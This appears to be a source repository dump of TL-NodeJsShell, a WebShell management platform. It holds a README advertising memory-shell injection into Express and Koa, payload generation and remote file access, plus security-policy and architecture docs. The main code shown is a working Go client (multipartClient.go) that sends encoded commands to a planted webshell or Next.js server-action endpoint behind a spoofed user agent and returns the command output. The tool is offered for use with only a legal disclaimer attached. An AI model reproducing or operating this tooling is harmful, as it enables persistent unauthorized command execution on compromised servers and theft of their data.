15 | 16 | --- 17 | 18 | ## Legal Disclaimer 19 | 20 | **This tool is intended for authorized security testing and educational purposes only.** 21 | 22 | - Users must obtain explicit permission before testing any systems 23 | - Unauthorized access to computer systems is illegal 24 | - Users are solely responsible for their actions 25 | - The authors assume no liability for misuse or damage 26 | 27 | ## Overview 28 | 29 | TL-NodeJsShell is a comprehensive WebShell management platform designed for security professionals and penetration testers. It provides a modern web interface for managing Node.js-based shells with advanced features including memory shell injection, command execution, file management, and proxy support. 30 | 31 | ## Key Features 32 | 33 | - **Memory Shell Injection** 34 | - Express middleware injection 35 | - Koa middleware injection 36 | - Prototype pollution techniques 37 | - Multiple encoding methods (Base64, XOR, AES) 38 | 39 | - **Interactive Terminal** 40 | - Real-time command execution 41 | - Virtual terminal with xterm.js 42 | - Command history tracking 43 | - Multi-shell management 44 | 45 | - **File Management** 46 | - File browser with directory navigation 47 | - Upload/download files with chunked transfer 48 | - File preview and editing 49 | - Monaco editor integration 50 | 51 | - **Security Features** 52 | - Multiple encoding types support 53 | - Custom HTTP headers 54 | - Proxy support (HTTP/HTTPS/SOCKS5) 55 | - Password protection 56 | 57 | - **Modern UI** 58 | - Vue 3 + TypeScript frontend 59 | - Element Plus components 60 | - Responsive design 61 | - Real-time status monitoring 62 | 63 | ## Screenshots 64 | 65 |
66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 |
77 | 78 | ## Architecture 79 | 80 | ``` 81 | TL-NodeJsShell/ 82 | ├── server/ # Go backend server 83 | │ ├── cmd/ # Entry points 84 | │ ├── internal/ # Internal logic 85 | │ │ ├── app/ # Application core 86 | │ │ ├── config/ # Configuration 87 | │ │ ├── core/ # Core functionality 88 | │ │ ├── database/ # Database models 89 | │ │ └── handlers/ # HTTP handlers 90 | │ └── go.mod 91 | ├── web/ # Vue.js frontend 92 | │ ├── src/ 93 | │ │ ├── api/ # API clients 94 | │ │ ├── components/ # Vue components 95 | │ │ ├── router/ # Vue router 96 | │ │ ├── stores/ # Pinia stores 97 | │ │ ├── types/ # TypeScript types 98 | │ │ └── views/ # Page views 99 | │ └── public/ # Static assets 100 | └── docs/ # Documentation assets 101 | ``` 102 | 103 | ## Quick Start 104 | 105 | ### Prerequisites 106 | 107 | - Go 1.21 or higher 108 | - Node.js 16 or higher 109 | - npm or yarn 110 | 111 | ### Installation 112 | 113 | 1. **Clone the repository** 114 | ```bash 115 | git clone https://github.com/tianlusec/TL-NodeJsShell.git 116 | cd TL-NodeJsShell 117 | ``` 118 | 119 | 2. **Build and run backend** 120 | ```bash 121 | cd server 122 | go mod download 123 | go build -o NodeJsshell cmd/api/main.go 124 | ./NodeJsshell 125 | ``` 126 | 127 | 3. **Build and run frontend** 128 | ```bash 129 | cd web 130 | npm install 131 | npm run build 132 | ``` 133 | 134 | 4. **Access the application** 135 | ``` 136 | Open your browser and navigate to: http://localhost:8080 137 | ``` 138 | 139 | ### Development Mode 140 | 141 | **Backend:** 142 | ```bash 143 | cd server 144 | go run cmd/api/main.go 145 | ``` 146 | 147 | **Frontend:** 148 | ```bash 149 | cd web 150 | npm run dev 151 | ``` 152 | 153 | ## Usage 154 | 155 | ### 1. Add a Shell 156 | 157 | - Navigate to Shell Manager 158 | - Click "Add Shell" 159 | - Configure: 160 | - Target URL 161 | - Password 162 | - Encoding type (Base64/XOR/AES) 163 | - HTTP method (GET/POST) 164 | - Optional: Proxy settings 165 | - Optional: Custom headers 166 | 167 | ### 2. Manage Shells 168 | 169 | - View all connected shells 170 | - Test connection status 171 | - Check system information 172 | - Monitor latency 173 | 174 | ### 3. Execute Commands 175 | 176 | - Select a shell 177 | - Use the virtual terminal 178 | - Execute commands in real-time 179 | - View command history 180 | 181 | ### 4. File Operations 182 | 183 | - Browse remote file system 184 | - Upload files (with chunked transfer for large files) 185 | - Download files 186 | - Preview and edit files 187 | 188 | ### 5. Payload Generation 189 | 190 | - Select template type 191 | - Configure encoding 192 | - Generate payload 193 | - Copy and deploy 194 | 195 | ## Configuration 196 | 197 | Backend configuration is located in `server/internal/config/config.go`: 198 | 199 | ```go 200 | type Config struct { 201 | Port string // Default: "8080" 202 | Host string // Default: "0.0.0.0" 203 | } 204 | ``` 205 | 206 | ## Technology Stack 207 | 208 | **Backend:** 209 | - Go 1.21+ 210 | - Gin Web Framework 211 | - GORM (SQLite) 212 | - Gorilla WebSocket 213 | 214 | **Frontend:** 215 | - Vue 3 216 | - TypeScript 217 | - Element Plus 218 | - Vite 219 | - Pinia (State Management) 220 | - Vue Router 221 | - Axios 222 | - xterm.js 223 | - Monaco Editor 224 | 225 | ## Documentation 226 | 227 | - [Installation Guide](docs/INSTALLATION.md) 228 | - [API Documentation](docs/API.md) 229 | - [Security Policy](docs/SECURITY.md) 230 | - [Contributing Guide](.github/CONTRIBUTING.md) 231 | - [Project Structure](PROJECT_STRUCTURE.md) 232 | 233 | ## Contributing 234 | 235 | Contributions are welcome! Please read [CONTRIBUTING.md](.github/CONTRIBUTING.md) for details on our code of conduct and the process for submitting pull requests. 236 | 237 | ## License 238 | 239 | This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details. 240 | 241 | ## Acknowledgments 242 | 243 | - Thanks to all contributors 244 | - Inspired by various WebShell management tools 245 | - Built with modern web technologies 246 | 247 | ## Contact 248 | 249 | - GitHub: [@tianlusec](https://github.com/tianlusec) 250 | - Issues: [GitHub Issues](https://github.com/tianlusec/TL-NodeJsShell/issues) 251 | 252 | --- 253 | 254 |
255 | 256 | ** If this project helps you, please give it a star!** 257 | 258 |
259 | -------------------------------------------------------------------------------- /web/src/views/ProxyManager.vue: -------------------------------------------------------------------------------- 1 | 105 | 106 | 210 | 211 | 229 | 230 | 231 | 232 | -------------------------------------------------------------------------------- /server/internal/core/transport/multipartClient.go: -------------------------------------------------------------------------------- 1 | package transport 2 | 3 | import ( 4 | "bytes" 5 | "encoding/base64" 6 | "encoding/json" 7 | "fmt" 8 | "io" 9 | "net/http" 10 | neturl "net/url" 11 | "strings" 12 | "time" 13 | ) 14 | 15 | type MultipartResponse struct { 16 | Success bool `json:"success"` 17 | Stdout string `json:"stdout"` 18 | Stderr string `json:"stderr"` 19 | Error string `json:"error"` 20 | } 21 | 22 | func (c *HTTPClient) SendMultipartRequest(url string, command string, password string, encodeType string, headers map[string]string) (*Response, error) { 23 | return c.SendMultipartRequestWithProtocol(url, command, password, encodeType, headers, "multipart") 24 | } 25 | 26 | func (c *HTTPClient) SendMultipartRequestWithProtocol(url string, command string, password string, encodeType string, headers map[string]string, protocol string) (*Response, error) { 27 | commandWithNewline := command + "\n" 28 | var commandValue string 29 | encodeTypeTrimmed := strings.TrimSpace(encodeType) 30 | 31 | isNextJS := strings.Contains(protocol, "nextjs") || strings.Contains(url, "nextjs") || strings.Contains(protocol, "next") 32 | 33 | if isNextJS { 34 | commandBytes := []byte(commandWithNewline) 35 | commandValue = base64.StdEncoding.EncodeToString(commandBytes) 36 | } else if encodeTypeTrimmed == "" || encodeTypeTrimmed == "none" { 37 | commandValue = commandWithNewline 38 | } else if encodeTypeTrimmed == "base64" { 39 | commandBytes := []byte(commandWithNewline) 40 | commandValue = base64.StdEncoding.EncodeToString(commandBytes) 41 | } else { 42 | commandValue = commandWithNewline 43 | } 44 | 45 | var requestBody string 46 | var contentType string 47 | if isNextJS { 48 | paramName := "raw" 49 | if headers != nil && headers["Content-Type"] != "" && strings.Contains(headers["Content-Type"], "application/json") { 50 | jsonBody := map[string]string{paramName: commandValue} 51 | bodyBytes, _ := json.Marshal(jsonBody) 52 | requestBody = string(bodyBytes) 53 | contentType = "application/json" 54 | } else { 55 | requestBody = fmt.Sprintf("%s=%s", neturl.QueryEscape(paramName), neturl.QueryEscape(commandValue)) 56 | contentType = "application/x-www-form-urlencoded" 57 | } 58 | } else { 59 | requestBody = fmt.Sprintf("%s=%s", neturl.QueryEscape(password), neturl.QueryEscape(commandValue)) 60 | contentType = "application/x-www-form-urlencoded" 61 | } 62 | 63 | bodyBytes := []byte(requestBody) 64 | httpReq, err := http.NewRequest("POST", url, bytes.NewBuffer(bodyBytes)) 65 | if err != nil { 66 | return nil, err 67 | } 68 | httpReq.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0") 69 | if contentType != "" { 70 | httpReq.Header.Set("Content-Type", contentType) 71 | } 72 | httpReq.Header.Set("Content-Length", fmt.Sprintf("%d", len(bodyBytes))) 73 | 74 | for key, value := range headers { 75 | keyLower := strings.ToLower(key) 76 | if keyLower != "content-type" && keyLower != "content-length" { 77 | httpReq.Header.Set(key, value) 78 | } else if keyLower == "content-type" && !isNextJS { 79 | httpReq.Header.Set(key, value) 80 | } 81 | } 82 | 83 | httpReq.Header.Del("Accept-Encoding") 84 | if isNextJS { 85 | httpReq.Header.Del("Connection") 86 | httpReq.Header.Del("Keep-Alive") 87 | } 88 | 89 | // 添加请求发送前的日志(立即刷新) 90 | fmt.Printf("[SendMultipartRequestWithProtocol] 准备发送请求: URL=%s, Method=%s, BodySize=%d bytes\n", url, httpReq.Method, len(bodyBytes)) 91 | 92 | // 检查超时设置 93 | fmt.Printf("[SendMultipartRequestWithProtocol] 客户端超时设置: %v\n", c.client.Timeout) 94 | 95 | if transport, ok := c.client.Transport.(*http.Transport); ok { 96 | fmt.Printf("[SendMultipartRequestWithProtocol] Transport 类型正确: *http.Transport\n") 97 | if transport.Proxy != nil { 98 | proxyURL, proxyErr := transport.Proxy(httpReq) 99 | if proxyErr != nil { 100 | fmt.Printf("[SendMultipartRequestWithProtocol] ⚠️ 代理函数执行出错: %v\n", proxyErr) 101 | } else if proxyURL != nil { 102 | fmt.Printf("[SendMultipartRequestWithProtocol] ✅ 通过代理发送: %s\n", proxyURL.String()) 103 | } else { 104 | fmt.Printf("[SendMultipartRequestWithProtocol] ⚠️ 代理函数返回 nil,可能直接连接\n") 105 | } 106 | } else { 107 | fmt.Printf("[SendMultipartRequestWithProtocol] ⚠️ 未配置代理,直接连接\n") 108 | } 109 | } else { 110 | fmt.Printf("[SendMultipartRequestWithProtocol] ⚠️ 无法检查代理配置,Transport类型: %T\n", c.client.Transport) 111 | } 112 | 113 | fmt.Printf("[SendMultipartRequestWithProtocol] 开始执行 Do() 调用...\n") 114 | resp, err := c.client.Do(httpReq) 115 | if err != nil { 116 | fmt.Printf("[SendMultipartRequestWithProtocol] ❌ 请求发送失败: %v\n", err) 117 | return nil, err 118 | } 119 | fmt.Printf("[SendMultipartRequestWithProtocol] ✅ 请求发送成功,响应状态: %d\n", resp.StatusCode) 120 | defer resp.Body.Close() 121 | body, err := io.ReadAll(resp.Body) 122 | if err != nil { 123 | return nil, err 124 | } 125 | 126 | if resp.StatusCode != http.StatusOK { 127 | return &Response{ 128 | Success: false, 129 | Data: string(body), 130 | Error: fmt.Sprintf("HTTP %d: %s", resp.StatusCode, resp.Status), 131 | Timestamp: time.Now().Unix(), 132 | }, nil 133 | } 134 | 135 | return ParseMultipartResponse(body, resp.StatusCode) 136 | } 137 | 138 | func ParseMultipartResponse(data []byte, statusCode int) (*Response, error) { 139 | if statusCode != http.StatusOK { 140 | response := &Response{ 141 | Success: false, 142 | Timestamp: time.Now().Unix(), 143 | } 144 | if len(data) > 0 { 145 | response.Data = string(data) 146 | response.Error = fmt.Sprintf("HTTP %d", statusCode) 147 | } else { 148 | response.Error = fmt.Sprintf("HTTP %d: Empty response", statusCode) 149 | } 150 | return response, nil 151 | } 152 | 153 | responseText := string(data) 154 | if strings.Contains(responseText, "Server action not found") || strings.Contains(responseText, "server action not found") { 155 | response := &Response{ 156 | Success: false, 157 | Data: responseText, 158 | Error: "Server action not found", 159 | Timestamp: time.Now().Unix(), 160 | } 161 | return response, nil 162 | } 163 | 164 | var multipartResp MultipartResponse 165 | err := json.Unmarshal(data, &multipartResp) 166 | if err != nil { 167 | response := &Response{ 168 | Success: false, 169 | Data: string(data), 170 | Error: fmt.Sprintf("Failed to parse JSON response: %v. Response body: %s", err, string(data)), 171 | Timestamp: time.Now().Unix(), 172 | } 173 | return response, nil 174 | } 175 | 176 | if !multipartResp.Success && (strings.Contains(responseText, "Server action not found") || strings.Contains(responseText, "server action not found") || multipartResp.Stdout == "Server action not found.") { 177 | response := &Response{ 178 | Success: false, 179 | Data: multipartResp.Stdout, 180 | Error: "Server action not found", 181 | Timestamp: time.Now().Unix(), 182 | } 183 | return response, nil 184 | } 185 | 186 | if !multipartResp.Success || strings.Contains(multipartResp.Stdout, "Server action not found") || strings.Contains(multipartResp.Stderr, "Server action not found") { 187 | if strings.Contains(multipartResp.Stdout, "Server action not found") || strings.Contains(multipartResp.Stderr, "Server action not found") { 188 | response := &Response{ 189 | Success: false, 190 | Data: multipartResp.Stdout + multipartResp.Stderr, 191 | Error: "Server action not found", 192 | Timestamp: time.Now().Unix(), 193 | } 194 | return response, nil 195 | } 196 | } 197 | 198 | response := &Response{ 199 | Success: multipartResp.Success, 200 | Timestamp: time.Now().Unix(), 201 | } 202 | if multipartResp.Stdout != "" { 203 | response.Data = multipartResp.Stdout 204 | } 205 | if multipartResp.Stderr != "" { 206 | if response.Data != "" { 207 | if !strings.HasSuffix(response.Data, "\n") { 208 | response.Data += "\n" 209 | } 210 | response.Data += multipartResp.Stderr 211 | } else { 212 | response.Data = multipartResp.Stderr 213 | } 214 | } 215 | if response.Data != "" { 216 | normalized := strings.ReplaceAll(response.Data, "\r\n", "\n") 217 | normalized = strings.ReplaceAll(normalized, "\r", "\n") 218 | lines := strings.Split(normalized, "\n") 219 | normalizedLines := make([]string, 0, len(lines)) 220 | for i, line := range lines { 221 | if i == len(lines)-1 && line == "" { 222 | continue 223 | } 224 | trimmedLine := strings.TrimRight(line, " \t\r") 225 | trimmedLine = strings.TrimLeft(trimmedLine, " \t") 226 | normalizedLines = append(normalizedLines, trimmedLine) 227 | } 228 | response.Data = strings.Join(normalizedLines, "\n") 229 | if len(normalizedLines) > 0 { 230 | response.Data += "\n" 231 | } 232 | } 233 | if multipartResp.Error != "" { 234 | response.Error = multipartResp.Error 235 | if !response.Success { 236 | response.Data = multipartResp.Error 237 | } 238 | } 239 | return response, nil 240 | } 241 | -------------------------------------------------------------------------------- /docs/SECURITY.md: -------------------------------------------------------------------------------- 1 | # Security Policy 2 | 3 | [English](#english) | [中文](#中文) 4 | 5 | --- 6 | 7 | ## English 8 | 9 | ### Important Security Notice 10 | 11 | **TL-NodeJsShell is a security testing tool intended for authorized use only.** 12 | 13 | ### Legal and Ethical Use 14 | 15 | This tool is designed for: 16 | - Authorized penetration testing 17 | - Security research in controlled environments 18 | - Educational purposes with proper authorization 19 | - Red team exercises with explicit permission 20 | 21 | This tool must NOT be used for: 22 | - Unauthorized access to systems 23 | - Malicious activities 24 | - Illegal hacking 25 | - Any activity without explicit permission 26 | 27 | ### User Responsibilities 28 | 29 | By using this tool, you agree to: 30 | 31 | 1. **Obtain Authorization**: Always get written permission before testing any system 32 | 2. **Follow Laws**: Comply with all applicable local, national, and international laws 33 | 3. **Respect Privacy**: Do not access, modify, or exfiltrate data without authorization 34 | 4. **Use Responsibly**: Only use in controlled, authorized environments 35 | 5. **Accept Liability**: Take full responsibility for your actions 36 | 37 | ### Reporting Security Vulnerabilities 38 | 39 | We take security seriously. If you discover a security vulnerability in TL-NodeJsShell: 40 | 41 | #### Please DO: 42 | - Report it privately via email or GitHub Security Advisory 43 | - Provide detailed information about the vulnerability 44 | - Allow reasonable time for us to address the issue 45 | - Follow responsible disclosure practices 46 | 47 | #### Please DO NOT: 48 | - Publicly disclose the vulnerability before it's fixed 49 | - Exploit the vulnerability maliciously 50 | - Test vulnerabilities on systems you don't own 51 | 52 | #### How to Report 53 | 54 | **Email:** Create a GitHub Security Advisory at: 55 | ``` 56 | https://github.com/tianlusec/TL-NodeJsShell/security/advisories/new 57 | ``` 58 | 59 | **Include:** 60 | - Description of the vulnerability 61 | - Steps to reproduce 62 | - Potential impact 63 | - Suggested fix (if any) 64 | - Your contact information 65 | 66 | ### Response Timeline 67 | 68 | - **Initial Response**: Within 48 hours 69 | - **Status Update**: Within 7 days 70 | - **Fix Timeline**: Depends on severity (critical issues prioritized) 71 | 72 | ### Security Best Practices 73 | 74 | When using TL-NodeJsShell: 75 | 76 | #### 1. Network Security 77 | - Use VPNs or secure networks 78 | - Configure proxies appropriately 79 | - Avoid exposing the management interface to the internet 80 | - Use firewall rules to restrict access 81 | 82 | #### 2. Access Control 83 | - Use strong passwords 84 | - Limit access to authorized personnel only 85 | - Keep logs of all activities 86 | - Regularly review access permissions 87 | 88 | #### 3. Data Protection 89 | - Encrypt sensitive data 90 | - Use secure communication channels 91 | - Don't store credentials in plain text 92 | - Regularly backup important data 93 | 94 | #### 4. System Hardening 95 | - Keep the tool updated 96 | - Run with minimal privileges 97 | - Use isolated environments for testing 98 | - Monitor for suspicious activities 99 | 100 | #### 5. Operational Security 101 | - Document all testing activities 102 | - Maintain audit trails 103 | - Follow your organization's security policies 104 | - Conduct regular security reviews 105 | 106 | ### Known Security Considerations 107 | 108 | #### Current Limitations 109 | 110 | 1. **No Built-in Authentication**: The current version lacks user authentication 111 | - **Mitigation**: Use network-level access controls 112 | - **Future**: Authentication will be added in future versions 113 | 114 | 2. **Local Storage**: Sensitive data stored in SQLite database 115 | - **Mitigation**: Encrypt the database file 116 | - **Mitigation**: Restrict file system permissions 117 | 118 | 3. **Network Traffic**: Communications may be intercepted 119 | - **Mitigation**: Use HTTPS for target connections 120 | - **Mitigation**: Use VPN or secure tunnels 121 | 122 | 4. **Logging**: Activities are logged locally 123 | - **Mitigation**: Secure log files appropriately 124 | - **Mitigation**: Regularly review and rotate logs 125 | 126 | ### Secure Configuration 127 | 128 | #### Recommended Settings 129 | 130 | ```go 131 | // backend/config/config.go 132 | type Config struct { 133 | Port string // Bind to localhost only: "127.0.0.1:8080" 134 | Host string // Use "127.0.0.1" instead of "0.0.0.0" 135 | } 136 | ``` 137 | 138 | #### Firewall Rules 139 | 140 | ```bash 141 | # Linux (iptables) 142 | iptables -A INPUT -p tcp --dport 8080 -s 127.0.0.1 -j ACCEPT 143 | iptables -A INPUT -p tcp --dport 8080 -j DROP 144 | 145 | # Windows (PowerShell) 146 | New-NetFirewallRule -DisplayName "TL-NodeJsShell" -Direction Inbound -LocalPort 8080 -Protocol TCP -Action Allow -RemoteAddress 127.0.0.1 147 | ``` 148 | 149 | ### Disclaimer 150 | 151 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND. The authors and contributors: 152 | 153 | - Are NOT responsible for any misuse or damage 154 | - Do NOT endorse illegal activities 155 | - Provide NO guarantees of security or reliability 156 | - Assume NO liability for your actions 157 | 158 | **You are solely responsible for ensuring your use complies with all applicable laws and regulations.** 159 | 160 | ### Updates and Patches 161 | 162 | - Security updates will be released as soon as possible 163 | - Critical vulnerabilities will be prioritized 164 | - Subscribe to releases for notifications 165 | - Check CHANGELOG.md for security-related updates 166 | 167 | ### Contact 168 | 169 | For security-related inquiries: 170 | - GitHub Security Advisory: [Create Advisory](https://github.com/tianlusec/TL-NodeJsShell/security/advisories/new) 171 | - General Issues: [GitHub Issues](https://github.com/tianlusec/TL-NodeJsShell/issues) 172 | 173 | --- 174 | 175 | ## 中文 176 | 177 | ### 重要安全声明 178 | 179 | **TL-NodeJsShell 是一个安全测试工具,仅供授权使用。** 180 | 181 | ### 合法和道德使用 182 | 183 | 本工具设计用于: 184 | - 授权的渗透测试 185 | - 受控环境中的安全研究 186 | - 具有适当授权的教育目的 187 | - 获得明确许可的红队演练 188 | 189 | 本工具不得用于: 190 | - 未经授权访问系统 191 | - 恶意活动 192 | - 非法黑客行为 193 | - 任何未经明确许可的活动 194 | 195 | ### 用户责任 196 | 197 | 使用本工具即表示您同意: 198 | 199 | 1. **获得授权**:在测试任何系统之前始终获得书面许可 200 | 2. **遵守法律**:遵守所有适用的地方、国家和国际法律 201 | 3. **尊重隐私**:未经授权不得访问、修改或窃取数据 202 | 4. **负责任使用**:仅在受控的授权环境中使用 203 | 5. **承担责任**:对您的行为承担全部责任 204 | 205 | ### 报告安全漏洞 206 | 207 | 我们非常重视安全。如果您在 TL-NodeJsShell 中发现安全漏洞: 208 | 209 | #### 请务必: 210 | - 通过电子邮件或 GitHub 安全公告私下报告 211 | - 提供有关漏洞的详细信息 212 | - 给我们合理的时间来解决问题 213 | - 遵循负责任的披露实践 214 | 215 | #### 请勿: 216 | - 在修复之前公开披露漏洞 217 | - 恶意利用漏洞 218 | - 在您不拥有的系统上测试漏洞 219 | 220 | #### 如何报告 221 | 222 | **创建 GitHub 安全公告:** 223 | ``` 224 | https://github.com/tianlusec/TL-NodeJsShell/security/advisories/new 225 | ``` 226 | 227 | **包含:** 228 | - 漏洞描述 229 | - 重现步骤 230 | - 潜在影响 231 | - 建议的修复方案(如有) 232 | - 您的联系信息 233 | 234 | ### 响应时间表 235 | 236 | - **初始响应**:48 小时内 237 | - **状态更新**:7 天内 238 | - **修复时间**:取决于严重程度(优先处理关键问题) 239 | 240 | ### 安全最佳实践 241 | 242 | 使用 TL-NodeJsShell 时: 243 | 244 | #### 1. 网络安全 245 | - 使用 VPN 或安全网络 246 | - 适当配置代理 247 | - 避免将管理界面暴露到互联网 248 | - 使用防火墙规则限制访问 249 | 250 | #### 2. 访问控制 251 | - 使用强密码 252 | - 仅限授权人员访问 253 | - 保留所有活动的日志 254 | - 定期审查访问权限 255 | 256 | #### 3. 数据保护 257 | - 加密敏感数据 258 | - 使用安全通信渠道 259 | - 不要以明文存储凭据 260 | - 定期备份重要数据 261 | 262 | #### 4. 系统加固 263 | - 保持工具更新 264 | - 以最小权限运行 265 | - 使用隔离环境进行测试 266 | - 监控可疑活动 267 | 268 | #### 5. 操作安全 269 | - 记录所有测试活动 270 | - 维护审计跟踪 271 | - 遵循组织的安全策略 272 | - 进行定期安全审查 273 | 274 | ### 已知安全注意事项 275 | 276 | #### 当前限制 277 | 278 | 1. **无内置认证**:当前版本缺少用户认证 279 | - **缓解措施**:使用网络级访问控制 280 | - **未来**:将在未来版本中添加认证 281 | 282 | 2. **本地存储**:敏感数据存储在 SQLite 数据库中 283 | - **缓解措施**:加密数据库文件 284 | - **缓解措施**:限制文件系统权限 285 | 286 | 3. **网络流量**:通信可能被拦截 287 | - **缓解措施**:对目标连接使用 HTTPS 288 | - **缓解措施**:使用 VPN 或安全隧道 289 | 290 | 4. **日志记录**:活动在本地记录 291 | - **缓解措施**:适当保护日志文件 292 | - **缓解措施**:定期审查和轮换日志 293 | 294 | ### 安全配置 295 | 296 | #### 推荐设置 297 | 298 | ```go 299 | // backend/config/config.go 300 | type Config struct { 301 | Port string // 仅绑定到本地主机: "127.0.0.1:8080" 302 | Host string // 使用 "127.0.0.1" 而不是 "0.0.0.0" 303 | } 304 | ``` 305 | 306 | #### 防火墙规则 307 | 308 | ```bash 309 | # Linux (iptables) 310 | iptables -A INPUT -p tcp --dport 8080 -s 127.0.0.1 -j ACCEPT 311 | iptables -A INPUT -p tcp --dport 8080 -j DROP 312 | 313 | # Windows (PowerShell) 314 | New-NetFirewallRule -DisplayName "TL-NodeJsShell" -Direction Inbound -LocalPort 8080 -Protocol TCP -Action Allow -RemoteAddress 127.0.0.1 315 | ``` 316 | 317 | ### 免责声明 318 | 319 | 软件按"原样"提供,不提供任何形式的保证。作者和贡献者: 320 | 321 | - 不对任何滥用或损害负责 322 | - 不支持非法活动 323 | - 不提供安全性或可靠性保证 324 | - 不对您的行为承担任何责任 325 | 326 | **您有责任确保您的使用符合所有适用的法律法规。** 327 | 328 | ### 更新和补丁 329 | 330 | - 安全更新将尽快发布 331 | - 关键漏洞将优先处理 332 | - 订阅发布以获取通知 333 | - 查看 CHANGELOG.md 了解与安全相关的更新 334 | 335 | ### 联系方式 336 | 337 | 安全相关咨询: 338 | - GitHub 安全公告:[创建公告](https://github.com/tianlusec/TL-NodeJsShell/security/advisories/new) 339 | - 一般问题:[GitHub Issues](https://github.com/tianlusec/TL-NodeJsShell/issues) 340 | 341 | ---
342 | 343 | **Security is everyone's responsibility / 安全是每个人的责任** 344 | 345 |
-------------------------------------------------------------------------------- /docs/README.md: -------------------------------------------------------------------------------- 1 | # Documentation 2 | 3 | Welcome to the TL-NodeJsShell documentation! 4 | 5 | ## Available Documentation 6 | 7 | ### Getting Started 8 | - **[Installation Guide](INSTALLATION.md)** - Complete installation instructions for all platforms 9 | - **[Quick Start](../README.md#quick-start)** - Get up and running quickly 10 | 11 | ### Usage 12 | - **[API Documentation](API.md)** - Complete API reference 13 | - **[User Guide](../README.md#usage)** - How to use TL-NodeJsShell 14 | 15 | ### Development 16 | - **[Contributing Guide](../CONTRIBUTING.md)** - How to contribute to the project 17 | - **[Architecture Overview](#architecture)** - System architecture and design 18 | 19 | ### Security 20 | - **[Security Policy](SECURITY.md)** - Security guidelines and vulnerability reporting 21 | - **[Best Practices](SECURITY.md#security-best-practices)** - Security recommendations 22 | 23 | ### Project Information 24 | - **[Changelog](../CHANGELOG.md)** - Version history and updates 25 | - **[License](../LICENSE)** - MIT License 26 | 27 | --- 28 | 29 | ## Architecture 30 | 31 | ### System Overview 32 | 33 | ``` 34 | ┌─────────────────────────────────────────────────────────┐ 35 | │ Web Browser │ 36 | │ (Vue 3 Frontend) │ 37 | └────────────────────┬────────────────────────────────────┘ 38 | │ HTTP/WebSocket 39 | │ 40 | ┌────────────────────▼────────────────────────────────────┐ 41 | │ Backend Server │ 42 | │ (Go + Gin) │ 43 | │ ┌──────────────────────────────────────────────────┐ │ 44 | │ │ API Layer (Handlers) │ │ 45 | │ └──────────────┬───────────────────────────────────┘ │ 46 | │ │ │ 47 | │ ┌──────────────▼───────────────────────────────────┐ │ 48 | │ │ Core Services │ │ 49 | │ │ - Payload Generator │ │ 50 | │ │ - Crypto (Base64/XOR/AES) │ │ 51 | │ │ - Transport (HTTP/Multipart) │ │ 52 | │ │ - Proxy Manager │ │ 53 | │ └──────────────┬───────────────────────────────────┘ │ 54 | │ │ │ 55 | │ ┌──────────────▼───────────────────────────────────┐ │ 56 | │ │ Database Layer (SQLite + GORM) │ │ 57 | │ └──────────────────────────────────────────────────┘ │ 58 | └────────────────────┬────────────────────────────────────┘ 59 | │ HTTP/HTTPS 60 | │ (with optional proxy) 61 | ┌────────────────────▼────────────────────────────────────┐ 62 | │ Target Node.js Server │ 63 | │ (WebShell Endpoint) │ 64 | └─────────────────────────────────────────────────────────┘ 65 | ``` 66 | 67 | ### Component Details 68 | 69 | #### Frontend (Vue 3 + TypeScript) 70 | - **Framework**: Vue 3 with Composition API 71 | - **UI Library**: Element Plus 72 | - **State Management**: Pinia 73 | - **Routing**: Vue Router 74 | - **Terminal**: xterm.js 75 | - **Editor**: Monaco Editor 76 | - **Build Tool**: Vite 77 | 78 | #### Backend (Go) 79 | - **Framework**: Gin Web Framework 80 | - **ORM**: GORM 81 | - **Database**: SQLite 82 | - **HTTP Client**: Custom with proxy support 83 | 84 | #### Core Modules 85 | 86 | **1. Payload Generator** 87 | - Template-based payload generation 88 | - Multiple encoding support 89 | - Memory shell injection templates 90 | 91 | **2. Crypto Module** 92 | - Base64 encoding/decoding 93 | - XOR encryption 94 | - AES-256 encryption 95 | 96 | **3. Transport Layer** 97 | - HTTP/HTTPS client 98 | - Multipart form data 99 | - Custom headers support 100 | - Proxy integration 101 | 102 | **4. Proxy Manager** 103 | - HTTP/HTTPS proxy 104 | - SOCKS5 proxy 105 | - Authentication support 106 | 107 | --- 108 | 109 | ## Development Workflow 110 | 111 | ### Backend Development 112 | 113 | ```bash 114 | # Install dependencies 115 | cd backend 116 | go mod download 117 | 118 | # Run tests 119 | go test ./... 120 | 121 | # Run with hot reload (using air) 122 | go install github.com/cosmtrek/air@latest 123 | air 124 | 125 | # Build 126 | go build -o NodeJsshell main.go 127 | ``` 128 | 129 | ### Frontend Development 130 | 131 | ```bash 132 | # Install dependencies 133 | cd frontend 134 | npm install 135 | 136 | # Development server 137 | npm run dev 138 | 139 | # Type checking 140 | npm run type-check 141 | 142 | # Build for production 143 | npm run build 144 | 145 | # Preview production build 146 | npm run preview 147 | ``` 148 | 149 | ### Code Structure 150 | 151 | ``` 152 | backend/ 153 | ├── app/ 154 | │ ├── app.go # Application initialization 155 | │ ├── middleware/ # HTTP middleware 156 | │ └── routes/ # Route definitions 157 | ├── config/ 158 | │ └── config.go # Configuration management 159 | ├── core/ 160 | │ ├── crypto/ # Encryption utilities 161 | │ ├── exploit/ # Exploit modules 162 | │ ├── payload/ # Payload generation 163 | │ ├── proxy/ # Proxy management 164 | │ └── transport/ # HTTP transport 165 | ├── database/ 166 | │ ├── db.go # Database connection 167 | │ └── shell.go # Data models 168 | ├── handlers/ 169 | │ ├── shellHandler.go # Shell management 170 | │ ├── fileHandler.go # File operations 171 | │ ├── cmdHandler.go # Command execution 172 | │ └── payloadHandler.go # Payload generation 173 | └── main.go # Entry point 174 | 175 | frontend/ 176 | ├── src/ 177 | │ ├── api/ # API client functions 178 | │ ├── components/ # Reusable components 179 | │ ├── views/ # Page components 180 | │ ├── stores/ # Pinia stores 181 | │ ├── router/ # Route configuration 182 | │ ├── types/ # TypeScript types 183 | │ ├── App.vue # Root component 184 | │ └── main.ts # Entry point 185 | ├── public/ # Static assets 186 | └── index.html # HTML template 187 | ``` 188 | 189 | --- 190 | 191 | ## API Integration 192 | 193 | ### Example: Creating a Shell 194 | 195 | ```typescript 196 | // TypeScript (Frontend) 197 | import axios from 'axios' 198 | 199 | interface ShellConfig { 200 | url: string 201 | password: string 202 | encode_type: stringmethod: string 203 | } 204 | 205 | async function createShell(config: ShellConfig) { 206 | const response = 